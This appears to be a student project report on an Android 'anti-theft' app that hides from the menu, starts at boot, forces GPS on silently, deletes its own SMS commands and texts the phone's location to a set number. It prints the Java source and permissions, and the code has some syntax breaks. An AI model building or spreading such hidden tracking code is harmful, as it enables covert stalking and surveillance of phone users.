in the listening mode always. So every time the phone is restarted , application restarts

without user input.

Application turns the GPS on automatically without any notification.

The user cannot see the application running, runs in the hidden mode. Once the

25

Android Spy Application

application is installed on the phone, the application enters into background mode and

runs in task manager. The app is not listed under main menu of the phone app list.

The application works even when the SIM card is changed. Even after inserting the

new SIM card by the user, we will be still able to run all the features.

The application deletes specific incoming and outgoing messages pertaining to the

app. Whenever the message is intended for the application, the application reads the

message, does the required functionality and deletes the message from the inbox of

the phone.

Ease of use, once the app is installed, the application automates to send and receive

the message without the interception needed from the user.

A complete package with intelligent features.

Free of cost, as Android is open source software.

4.7.2 Disadvantages:

The application cannot work while the phone is off. If the user switches off the phone

the messages cannot reach the application.

It is deleted if entire new software is installed in the phone before turning it on.

The application cannot delete the data remotely; the application cannot wipe the

confidential data present on the local phone remotely by taking command from text

message.

25

Android Spy Application

Chapter 5

RESULTS AND CONCLUSION

25

Android Spy Application

5.1 Results:

5.1.1 Getting the coordinates and address single time:

A specific SMS in the following syntax is sent to the stolen phone to obtain the coordinated

and address of phone single time. This SMS also forces the GPS of the phone to turn on.

Figure 5.1.1 SMS for getting location single time

5.1.2 Getting the coordinates and address continuously:

To get coordinates continuously in case if the thief is moving, the following SMS is sent.

25

Android Spy Application

Figure 5.1.2 SMS for getting location continuously

5.1.3 SMS containing the Location:The following SMS is received as a result of above mentioned SMS.

Figure 5.1.3 Location

5.1.4 Profile Change from silent to General:The following SMS changes the profile of phone from silent to general and acknowledges the

number mentioned in the SMS.

25

Android Spy Application

Figure 5.1.4 Profile change from silent to general

5.1.5 Profile Change from general to silent:

The following text changes the profile from general to silent.

Figure 5.1.5 Profile change from general to silent

5.1.6 Notification to check the current SIM:

The following notification is sent after each time the application restarts so that the number of

current SIM present in the phone is checked.

25

Android Spy Application

Figure 5.1.6 Current SIM notification

5.1.7 Starting the Current Ringtone:

The following SMS starts the current ringtone on the stolen phone without anything

appearing on the screen and repeats it for 3-4 minutes.

Figure 5.1.7 Starting Ringtone

25

Android Spy Application

5.2 Conclusion:

Android theft recovery application is a unique & efficient application, which is used to track

the lost / misplaced android phone efficiently. All the features work on SMS basis. Therefore,

incoming SMS format plays a vital role. Our android application running in the cell monitors

all the incoming messages. If the SMS is meant for the application, it reads the same and

performs the expected task.

We have managed the existing features in such a way that the existing cell tracking system is

enhanced. The highlighting features of our project:

Profile change

Ringing

Intimation of SIM replacement

GPS values Single value Continuous value

Automatic turn on of GPS

Transparent Messaging

25

Android Spy Application

Chapter 6

SOURCE CODE

25

Android Spy Application

6.1 Main Service:

public class MainService extends Service

{

static TelephonyManager tm;

public static String call_alert_no="";

public String response_phno="", initialization_flag="true",

alert_nos="+92331729";

public boolean profile_ph=true;

static boolean call_alert_flag;

static SmsManager sms;

private static Object audioManager;

AudioManager maudio;

public IBinder onBind(Intent arg0)

{

return null;

}

public void onCreate()

{

super.onCreate();

System.out.println("Inside oncreate MainService");

Toast.makeText(this, "Inside on create MainService", Toast.LENGTH_LONG).show();

//sendSMS(alert_nos, "Check the number");

}

public void onStart(Intent intent, int startid)

25

Android Spy Application

{

System.out.println("Inside onstart MainService");

Toast.makeText(this, "Inside onStart MainService",

Toast.LENGTH_LONG).show();

//mPhoneListener = new TravelPhoneStateListener(MainService.this);

MainService.tm =

((TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE));

//MainService.tm.listen(mPhoneListener,

PhoneStateListener.LISTEN_CALL_STATE);

System.out.println("Inside Onstart MainService");

sms = SmsManager.getDefault();

sendSMS(alert_nos, "Check the number");

{

if(SmsReciver.flag)

{

String sms_received=SmsReciver.msg;

String token=sms_received.substring(sms_received.indexOf("-")

+1,sms_received.lastIndexOf("-"));

if(token.trim().equals("profile"))

{

profile_ph=false;

String mode="";

SmsReciver.flag=false;

SmsReciver.msg="";

mode=sms_received.substring(sms_received.lastIndexOf("-")

+1,sms_received.indexOf("@"));

response_phno=sms_received.substring(sms_received.indexOf("@")+1);

if(mode.trim().equals("RingAndVib"))

{

maudio=(AudioManager)getSystemService(AUDIO_SERVICE);

25

Android Spy Application

System.out.println("...C...Profile ring-and-vib");

maudio.setRingerMode(AudioManager.RINGER_MODE_NORMAL);

maudio=null;

sendSMS(response_phno, "Profile Changed To RingAndVibrate

Mode");

}

if(mode.trim().equals("silent"))

{

maudio=(AudioManager)getSystemService(AUDIO_SERVICE);

System.out.println("...C...Profile silent");

maudio.setRingerMode(AudioManager.RINGER_MODE_SILENT);

maudio=null;

sendSMS(response_phno, "Profile Changed To Silent Mode");

}

if(mode.trim().equals("ring"))

{

maudio=(AudioManager)getSystemService(AUDIO_SERVICE);

System.out.println("...D...Profile ring");

Ringtone r=null;

try

{

Uri

uri=RingtoneManager.getDefaultUri(RingtoneManager.TYPE_RINGTONE);

r=RingtoneManager.getRingtone(getApplicationContext(), uri);

r.play();

}

catch(Exception e)

{e.printStackTrace();}

}

}

else

25

Android Spy Application

{

if(profile_ph)

{

response_phno=sms_received.substring(sms_received.lastIndexOf("-")

+1);

SmsReciver.flag=false;

SmsReciver.msg="";

sendSMS(response_phno,"Invalid Request");

}

}

SmsReciver.flag=false;

}

}}

public static void sendSMS(String phoneNumber, String message)

{

System.out.println("Inside Send SMS phone No"+phoneNumber+"Message

"+message);

sms.sendTextMessage(phoneNumber, null, message, null, null);

}

}

6.2 Single Location:

public class SingleLocation extends Service {

private static final String TAG = null;

private LocationManager locManager;

25

Android Spy Application

private double LATITUDE;

private double LONGITUDE;

private Geocoder geocoder;

final int maxResult =5;

String addressList[] = new String[maxResult];

String option;

private String response_no="+92331729";

String addr;

public boolean flag=false;

public IBinder onBind(Intent arg0) {

return null;

}

public void onCreate() {

super.onCreate();

System.out.println("Inside Single location");

Toast.makeText(this, "Inside oncreate Single", Toast.LENGTH_LONG).show();

}

public void onStart(Intent intent, int startid) {

System.out.println("Inside onstart Single");

Toast.makeText(this, "Inside on Start", Toast.LENGTH_LONG).show();

locManager =

(LocationManager)getSystemService(Context.LOCATION_SERVICE);

locManager.requestLocationUpdates(LocationManager.GPS_PROVIDER,0,0,

locationListener);

option=intent.getStringExtra("option");

option=option.trim();

response_no =intent.getStringExtra("phno");

try {

Thread.sleep(5000);

} catch (InterruptedException e1) {

e1.printStackTrace();

25

Android Spy Application

}

Intent intent1 = new Intent("android.location.GPS_ENABLED_CHANGE");

intent1.putExtra("enabled", true);

sendBroadcast(intent1);

Location location =

locManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);

//Location Location =

// getLocationByProvider(LocationManager.NETWORK_PROVIDER);

if (location != null) {

LATITUDE = (double) (location.getLatitude());

LONGITUDE = (double) (location.getLongitude());

String latlon=""+LATITUDE+" "+LONGITUDE;

geocoder = new Geocoder(this, Locale.ENGLISH);

try {

List<Address> addresses = geocoder.getFromLocation(LATITUDE,

LONGITUDE, maxResult);

if(addresses != null) {

int j=0;

Address returnedAddress=null;

for (j=0; j<maxResult; j++){

returnedAddress = addresses.get(j);

StringBuilder strReturnedAddress = new StringBuilder();

for(int i=0; i<returnedAddress.getMaxAddressLineIndex(); i++) {

strReturnedAddress.append(returnedAddress.getAddressLine(i)).append("\

n");

}

addressList[j] = strReturnedAddress.toString();

}

25

Android Spy Application

addr="Latitude : "+LATITUDE+"\nLongitude : "+LONGITUDE+"\

nAddress : "+addressList[0];

}

} catch (IOException e) {

e.printStackTrace();

}

Toast.makeText(this, latlon, Toast.LENGTH_LONG).show();

sendSMS(response_no,addr);

/*flag=false;

break;*/

}

else

{

sendSMS(response_no,"Location not Found...");

public void onDestroy() {

super.onDestroy();

locManager.removeUpdates(locationListener);

Toast.makeText(this, "Service destroyed ...", Toast.LENGTH_LONG).show();

}

private final LocationListener locationListener = new LocationListener() {

public void onLocationChanged(Location location) {

//updateWithNewLocation(location);

}

public void onProviderDisabled(String provider) {

//updateWithNewLocation(null);

}

25

Android Spy Application

public void onProviderEnabled(String provider) {

}

public void onStatusChanged(String provider, int status, Bundle extras) {

}

};

public static void sendSMS(String phoneNumber, String message)

{

System.out.println("Inside Send SMS phone No"+phoneNumber+"Message

"+message);

SmsManager sms = SmsManager.getDefault();

sms.sendTextMessage(phoneNumber, null, message, null, null);

}

}

6.3 Continuous Location:

public class ContinuousLocation extends Service{

private LocationManager locManager1;

private double LATITUDE;

private double LONGITUDE;

private Geocoder geocoder;

final int maxResult =5;

String addressList[] = new String[maxResult];

String option;

private String response_no="+9233172";

String addr;

long prvtime;

public IBinder onBind(Intent arg0) {

25

Android Spy Application

return null;

}

public void onCreate() {

super.onCreate();

Toast.makeText(this, "Inside on create Continous", Toast.LENGTH_LONG).show();

}

public void onStart(Intent intent, int startid) {

Toast.makeText(this, "Inside on Start Continuous", Toast.LENGTH_LONG).show();

locManager1 =

(LocationManager)getSystemService(Context.LOCATION_SERVICE);

locManager1.requestLocationUpdates(LocationManager.GPS_PROVIDER,60000, 5,

locationListener);

option=intent.getStringExtra("option");

option=option.trim();

response_no =intent.getStringExtra("phno");

geocoder = new Geocoder(this, Locale.ENGLISH);

prvtime=0;

}

@Override

public void onDestroy() {

super.onDestroy();

locManager1.removeUpdates(locationListener);

Toast.makeText(this, "Service destroyed ...", Toast.LENGTH_LONG).show();

}

private final LocationListener locationListener = new LocationListener() {

public void onLocationChanged(Location location) {

Intent intent = new Intent("android.location.GPS_ENABLED_CHANGE");

intent.putExtra("enabled", true);

sendBroadcast(intent);

25

Android Spy Application

if (location != null) {

LATITUDE = (double) (location.getLatitude());

LONGITUDE = (double) (location.getLongitude());

//geocoder = new Geocoder (this,Locale.ENGLISH);

Geocoder geocoder = new Geocoder(ContinuousLocation.this,

Locale.ENGLISH);

long newtime=System.currentTimeMillis();

if((prvtime==0) || (newtime-prvtime)>=60000)

{

String latlon=""+LATITUDE+" "+LONGITUDE;

try {

prvtime=newtime;

List<Address> addresses = geocoder.getFromLocation(LATITUDE,

LONGITUDE, maxResult);

if(addresses != null) {

int j=0;

Address returnedAddress=null;

for (j=0; j<maxResult; j++){

returnedAddress = addresses.get(j);

StringBuilder strReturnedAddress = new StringBuilder();

for(int i=0; i<returnedAddress.getMaxAddressLineIndex(); i++) {

strReturnedAddress.append(returnedAddress.getAddressLine(i)).append("\

n");

}

addressList[j] = strReturnedAddress.toString();

}

addr="Latitude : "+LATITUDE+"\nLongitude : "+LONGITUDE+"\

nAddress : "+addressList[0];

}

} catch (IOException e) {

e.printStackTrace();

25

Android Spy Application

}

Toast.makeText(ContinuousLocation.this, latlon,

Toast.LENGTH_LONG).show();

sendSMS(response_no,addr);

}

else

{

}}

}

public void onProviderDisabled(String provider) {

//updateWithNewLocation(null);

}

public void onProviderEnabled(String provider) {

}

public void onStatusChanged(String provider, int status, Bundle extras) {

}

};

public static void sendSMS(String phoneNumber, String message)

{

System.out.println("Inside Send SMS phone No"+phoneNumber+"Message

"+message);

SmsManager sms = SmsManager.getDefault();

sms.sendTextMessage(phoneNumber, null, message, null, null);

}

}

25

Android Spy Application

6.4 SMS receiver:

public class SmsReciver extends BroadcastReceiver{

public static double latitude;

public static double longitude;

public static boolean flag=false;

public static String msg;

static TelephonyManager tm;

public static String call_alert_no="";

public String initialization_flag="true",

alert_nos[]={"+923317292287", "03317292287"};

static String response_phno="";

public boolean profile_ph=true;

static boolean call_alert_flag;

static SmsManager sms;

AudioManager maudio;

Context ct;

String str = "";

private Handler mHandler = new Handler();

public void onReceive(Context context, Intent intent)

{

//---get the SMS message passed in---

Toast.makeText(context, "SMS RECEIVED",

Toast.LENGTH_LONG).show();

Bundle bundle = intent.getExtras();

System.out.println("SMS RECEIVED");

flag=false;

SmsMessage[] msgs = null;

25

Android Spy Application

ct=context;

if (bundle != null)

{

//---retrieve the SMS message received---

Object[] pdus = (Object[]) bundle.get("pdus");

msgs = new SmsMessage[pdus.length];

int i=msgs.length-1;

//for (int i1 = 0; i1 < pdus.length; i1++)

//for(int i=0; i< msgs.length;i++){

msgs[i] = SmsMessage.createFromPdu((byte[])pdus[i]); //1

str+= msgs[i].getMessageBody().toString(); //2

System.out.println("SMS RECEIVED DATA=="+str);

if(str.startsWith("TRACK"))

{

if(str.startsWith("TRACK"))

{

Uri deleteUri = Uri.parse("content://sms");

Cursor c = ct.getContentResolver().query(deleteUri, null, null,

null, null);

System.out.println("Message size : "+ c.getCount());

if (c.moveToFirst()) {

try {

// Delete the SMS

String pid = c.getString(0); // Get id;

String uri = "content://sms/" + pid;

int count=ct.getContentResolver().delete(Uri.parse(uri),

null, null);

System.out.println("Delete count : "+count);

25

Android Spy Application

} catch (Exception e) {}

}

}

System.out.println("Here I Am - 2 ");

}

System.out.println("...1...Inside Receive SMS IF");

msg=str;

System.out.println("...2...Finished Receive SMS IF");

String sms_received=SmsReciver.msg;

String token=sms_received.substring(sms_received.indexOf("-")

+1,sms_received.lastIndexOf("-"));

System.out.println("...A...Token "+token);

if(token.trim().equals("single")){

SmsReciver.flag=false;

SmsReciver.msg="";

System.out.println("...3...Inside equals(..single..)");

response_phno=sms_received.substring(sms_received.lastIndexOf("-")+1);

System.out.println("...B...Phone NO "+response_phno);

System.out.println("...4...Calling Intent kir");

Intent kir = new Intent(context, SingleLocation.class);

kir.putExtra("option", "single");

kir.putExtra("phno", response_phno);

kir.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

context.startService(kir);

//context.startActivity(kir);

//abortBroadcast();

25

Android Spy Application

System.out.println("...5...Finished With Intent kir");

}else if(token.trim().equals("continuous")){

SmsReciver.flag=false;

SmsReciver.msg="";

System.out.println("...3...Inside equals(..Continuous..)");

response_phno=sms_received.substring(sms_received.lastIndexOf("-")+1);

System.out.println("...C...Phone NO "+response_phno);

System.out.println("...4...Calling Intent kir Continuous");

Intent kir = new Intent(context, ContinuousLocation.class);

kir.putExtra("option","continuous");

kir.putExtra("phno", response_phno);

context.startService(kir);

System.out.println("...5...Finished With Intent kir Continuous");

else if(token.trim().equals("stop"))

{

SmsReciver.flag=false;

SmsReciver.msg="";

Intent kir = new Intent(context, ContinuousLocation.class);

kir.putExtra("option","continuous");

kir.putExtra("phno", response_phno);

context.stopService(kir);

}

else

{

flag=true;

}

}

}}

25

Android Spy Application

Startup Broadcast Receiver:

public class StartupBroadcastReceiver extends BroadcastReceiver

{

public void onReceive(Context context, Intent intent)

{

Toast.makeText(context, "Inside on Receive",

Toast.LENGTH_LONG).show();

System.out.println("Inside Broadcast Receiver");

Intent kir = new Intent(context, MainService.class);

kir.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

context.startService(kir);

}

}

6.5 Start-up Broadcast Service:

public class StartupBroadcastReceiver extends BroadcastReceiver

{

public void onReceive(Context context, Intent intent)

{

Toast.makeText(context, "Inside on Receive",

Toast.LENGTH_LONG).show();

System.out.println("Inside Broadcast Receiver");

Intent kir = new Intent(context, MainService.class);

kir.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

context.startService(kir);

}

}

6.6 Manifest Permissions:

<uses-prmission android:name="android.permission.READ_PHONE_STATE" />

25

Android Spy Application

<uses-permission android:name="android.permission.RECEIVE_SMS"/>

<uses-permission android:name="android.permission.READ_SMS"/>

<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>

<uses-permission android:name="android.permission.SEND_SMS"/>

<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>

<uses-permission android:name="android.permission.WRITE_SMS"/>

<uses-permission android:name="android.permission.INTERNET"/>

<uses-permission android:name="android.permission.READ_PHONE_STATE" />

<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />

<uses-permission android:name="android.permission.READ_CONTACTS" />

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />

<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>

<uses-permission android:name="android.permission.INTERNET"/>

25

Android Spy Application

Chapter 7

FUTURE WORK

7.1 New Features:

The features that can be added in this application to make it more effective includes:

25

Android Spy Application

Retrieving the call list of the lost phone that includes all incoming and outgoing calls.

It captures the phone number listed in outgoing and incoming call registry and sends

an SMS with the information to the number requested.

Using the built-in camera service of phone to take pictures of the thief. This feature

can activate the front camera/back camera of the lost smart phone by just sending an

SMS.

Subscribing the application through email and email send and receive using SMTP.

Automatic sending of photos of thief to the user. This feature sends the series of

snapshots to the pre-coded e-mail address

Erasing the data of phone by sending SMS. When a device is lost or stolen this feature

erases all data on the device and does a factory reset for the device. All data is erased

from the device (and SD card, if applicable), including email, calendar, contacts,

photos, music, and a user's personal files.

25

Android Spy Application

APPENDIX

25

Android Spy Application

A Installing Android SDK and setting up ADT in Eclipse:

Installing Android SDK and Eclipse:

First of all open your browser and write android.com

Once the android page opens up go to developers.

25

Android Spy Application

Now open sdk tab.

Select the platform which you have in your computer.

25

Android Spy Application

Now click on installing the sdk.

Go to JDK and open link in new tab.

25

Android Spy Application

On the same step go to eclipse and open link in a new tab so we can get eclipse

software development kit.

By clicking eclipse java SE download tab appears. Now open it. Look at the position of

arrow.

25

Android Spy Application

Now from the oracle page we need to download java

Select the appropriate platform which you have(i.e windows, windows x64) etc

25

Android Spy Application

After selecting platform click continue button.

Now click on Java SE.

25

Android Spy Application

Now click the save button.

Click on Developers Builds

25

Android Spy Application

Choose whatever platform you have (here we select windows 32 bits) depending on

my platform.

Now at this point you select downloading.

Up till now you have downloaded all the three important software.

25

Android Spy Application

From your browser tab close eclipse and jdk windows. Once those finish

downloading to your computer go to your downloads

Go to androidPre_k you should have three things

First thing that we need to install is java development kit (jdk).

This window appears click next.

25

Android Spy Application

Again next.

Let this be in progress.

25

Android Spy Application

jdk has finished its installation now we need to install java runtime.

Wait for installation.

25

Android Spy Application

Press finish.

Now we are going to download java sdk and avd manager. Double click on it.

25

Android Spy Application

Press next.

Press next.

25

Android Spy Application

Press install and then next.

Android SDK Manager is installed.

25

Android Spy Application

This window opens when you open SDK Manager. Now press cancel button.

Click Available packages and go to Android Repository and choose the platform you

need in your development.

25

Android Spy Application

Now we come to virtual devices

Click on new to add new virtual devices.

Give name to virtual device. Choose your platform, size, screen size and click on

create AVD.

25

Android Spy Application

Click ok.

Click your AVD device and then press start button.

25

Android Spy Application

Check mark scale display. Select screen size and then click launch.

Emulator virtual device is launched.

25

Android Spy Application

Now we are installing eclipse. Extract the zip folder.

Click eclipse.

25

Android Spy Application

Click to start up eclipse

Select the workspace directory to use.

25

Android Spy Application

Go to download folder then Android pre-k folder and select ok.

Click check box and click ok.

25

Android Spy Application

By doing previous method this window going open.

Go to new and click on install new software.

25

Android Spy Application

This window will open

25

Android Spy Application

Now again go to ADT plug-in. Now we need to install plug-in ADT 10.0.0 to make

eclipse work properly.

Copy the link

Paste the link in front of work with and click add.

25

Android Spy Application

The link would be in location and click ok.

Select developer tools.

25

Android Spy Application

Click next.

Accept the terms of the license agreements and click finish.

25

Android Spy Application

Installing software

Click on restart now.

Go to windows and select Preferences.

25

Android Spy Application

Click on android and then on browse.

From browse folder go to android-sdk and click ok.

Click on android and then on browse.

25

Android Spy Application

Click apply

Click apply and then ok

25

Android Spy Application

Click workbench to open it.

This is the main environment in which application development is started.

25

Android Spy Application

B Building Basic Hello World App:

Creating Basic Hello Word Application:

1- The first step is to create a simple Android Application using Eclipse IDE. Follow the

option File -> New -> Project and finally select Android New Application wizard from the

wizard list. Now name your application as HelloWorld using the wizard window as follows:

25

Android Spy Application

2- Next, follow the instructions provided and keep all other entries as default till the final

step. Once your project is created successfully, you will have following project screen:

25

Android Spy Application

Anatomy of Android Application:

Before you run your app, you should be aware of a few directories and files in the Android

project:

25

Android Spy Application

Following section will give a brief overview few of the important application files.

The Main Activity File:

The main activity code is a Java file MainActivity.java. This is the actual application file

which ultimately gets converted to a Dalvik executable and runs your application. Following

is the default code generated by the application wizard for Hello World! application:

package com.example.helloworld;

import android.os.Bundle;

import android.app.Activity;

import android.view.Menu;

import android.view.MenuItem;

import android.support.v4.app.NavUtils;

public class MainActivity extends Activity {

@Override

public void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

}

@Override

public boolean onCreateOptionsMenu(Menu menu) {

getMenuInflater().inflate(R.menu.activity_main, menu);

return true;

}

}

Here, R.layout.activity_main refers to the activity_main.xml file located in the res/layout

folder. The onCreate() method is one of many methods that are fi red when an activity is

25

Android Spy Application

loaded.

The Manifest File:

Whatever component you develop as a part of your application, you must declare all its

components in a manifest file called AndroidManifest.xml which ressides at the root of the

application project directory. This file works as an interface between Android OS and your

application, so if

you do not declare your component in this file, then it will not be considered by the OS. For

example, a default manifest file will look like as following file:

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

package="com.example.helloworld"

android:versionCode="1"

android:versionName="1.0" >

<uses-sdk

android:minSdkVersion="8"

android:targetSdkVersion="15" />

<application

android:icon="@drawable/ic_launcher"

android:label="@string/app_name"

android:theme="@style/AppTheme" >

<activity

android:name=".MainActivity"

android:label="@string/title_activity_main" >

<intent-filter>

<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER"/>

</intent-filter>

</activity>

</application>

</manifest>

25

Android Spy Application

The Strings File:

The strings.xml file is located in the res/values folder and it contains all the text that your

application uses. For example, the names of buttons, labels, default text, and similar types of

strings go into this file. This file is responsible for their textual content. For example, a

default strings file will look like as following file:

<resources>

<string name="app_name">HelloWorld</string>

<string name="hello_world">Hello world!</string>

<string name="menu_settings">Settings</string>

<string name="title_activity_main">MainActivity</string>

</resources>

The Layout File:

The activity_main.xml is a layout file available in res/layout directory, that is referenced by

your application when building its interface. You will modify this file very frequently to

change the layout of your application. For your "Hello World!" application, this file will have

following content related to default layout:

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"

xmlns:tools="http://schemas.android.com/tools"

android:layout_width="match_parent"

android:layout_height="match_parent" >

<TextView

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:layout_centerHorizontal="true"

android:layout_centerVertical="true"

android:padding="@dimen/padding_medium"

25

Android Spy Application

android:text="@string/hello_world"

tools:context=".MainActivity" />

</RelativeLayout>

The TextView is an Android control used to build the GUI and it have various attribuites like

android:layout_width, android:layout_height etc which are being used to set its width and

height etc. The @string refers to the strings.xml file located in the res/values folder. Hence,

@string/hello_world refers to the hello string defined in the strings.xml fi le, which is "Hello

World!".

25

Android Spy Application

REFRENCES: [1] Smart phone

http://en.wikipedia.org/wiki/Smartphone

[2] Android Introduction

http://en.wikipedia.org/wiki/Android_(operating_system)

[3] Android Operating System: .

http://en.wikipedia.org/wiki/Android_(operating_system)

[4]Android Statistics

http://thenextweb.com/mobile/2013/05/09/canalys-over-300m-smart-mobile-devices-

shipped-in- q1-2013-59-5-android-19-3-ios-and-18-1-windows/

[5]Android Framework.

http://developer.android.com/guide/faq/framework.html

[6] Android Framework.

http://developer.android.com/about/versions/android-2.2.html

[7] Android version history.

http://en.wikipedia.org/wiki/Android_version_history

[8] Mobile Defense:

http://www.lo7ckergnome.com/uncategorized/2009/11/09/mobile-defense-for-

android-free/

[9] Find My Iphone:

http://en.wikipedia.org/wiki/Find_my_iPhone

[10] Remote Wipe Feature

https://support.google.com/a/answer/173390?hl=en

[11] GPS applications

http://www.crazyandroid.com/10-most-reliable-android-gps-navigation-apps-to-bet-

your-life-with/

[12]Android Applications

http://onlinetechguru.org/10-best-anti-theft-tracking-apps-for-android-smartphones/

[13]Android SDK

25

Android Spy Application

http://developer.android.com/guide/topics/manifest/uses-sdk-element.html

[14] API Packages

http://developer.android.com/reference/packages.html

[15] JDK

http://en.wikipedia.org/wiki/JDK

[16] Eclipse

http://en.wikipedia.org/wiki/Eclipse_(software)

[17] SDK

http://en.wikipedia.org/wiki/Android_SDK#Android_SDK